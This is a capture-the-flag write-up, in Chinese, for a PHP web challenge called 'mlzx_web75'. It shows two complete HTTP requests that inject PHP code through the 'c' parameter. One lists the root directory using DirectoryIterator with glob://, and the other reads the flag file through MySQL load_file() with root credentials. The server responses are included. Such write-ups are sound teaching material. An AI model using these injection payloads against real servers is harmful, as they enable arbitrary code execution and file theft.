

mlzx_web75

Note

使用了 [CTF-Archives/ctf-docker-template/web-lnmp-php73](https://github.com/CTF-Archives/ctf-docker-template/web-lnmp-php73) 的一部分代码

- 获取 `flag` 位置

请求包

```
1 POST / HTTP/1.1
2 Host: IP:PORT
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=?><?php $a=new DirectoryIterator("glob:///");foreach($a as $f)
  {echo($f->__toString().'');}exit(0);?>
```

响应包

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.20.2
3 Date: Tue, 09 Dec 2025 02:31:39 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.33
7 Content-Length: 70
8
9 bindevetcflagAR8e.txthomelibmediamntoptprocrootrunsbinsrvsystmpusrvar
```

- 获取 `flag`

请求包

```
1 POST / HTTP/1.1
2 Host: IP:PORT
3 Content-Type: multipart/form-data;
  boundary=WebKitFormBoundaryqcoLpjHF2KG9zUa6
4 Content-Length: 312
5
6 --WebKitFormBoundaryqcoLpjHF2KG9zUa6
7 Content-Disposition: form-data; name="c"
8
9 $conn = mysqli_connect("localhost", "root", "123456", "ctf"); $sql =
  "select load_file('/flagAR8e.txt') as a"; $row = mysqli_query($conn,
  $sql); while($result=mysqli_fetch_array($row)){ echo $result['a'];
  exit();}
10 --WebKitFormBoundaryqcoLpjHF2KG9zUa6--
```

注：由于此处 **MySQL** 使用的是 **socket** 连接，不是 **TCP**，所以不能使用 **127.0.0.1**，只能使用 **localhost**

响应包

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.20.2
3 Date: Tue, 09 Dec 2025 02:29:44 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.33
7 Content-Length: 30
8
9 flag{GZCTF_dynamic_flag_test}
```

